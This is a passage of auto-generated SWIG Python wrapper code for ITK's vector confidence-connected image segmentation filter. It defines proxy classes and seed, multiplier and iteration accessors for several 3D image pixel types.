"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF33ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF33ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF33ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF33ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF33ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF33ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33ISS3)
itkVectorConfidenceConnectedImageFilterICVF33ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF33ISS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF33ISS3)
def itkVectorConfidenceConnectedImageFilterICVF33ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF33ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF33ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33ISS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF33ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF33IUC3(itkImageToImageFilterBPython.itkImageToImageFilterICVF33IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF33IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF33IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF33IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF33IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF33IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF33IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF33IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF33IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33IUC3)
itkVectorConfidenceConnectedImageFilterICVF33IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_swigregister
itkVectorConfidenceConnectedImageFilterICVF33IUC3_swigregister(itkVectorConfidenceConnectedImageFilterICVF33IUC3)
def itkVectorConfidenceConnectedImageFilterICVF33IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF33IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF33IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33IUC3 *":
"""itkVectorConfidenceConnectedImageFilterICVF33IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF33IUS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF33IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF33IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF33IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_OutputEqualityComparableCheck
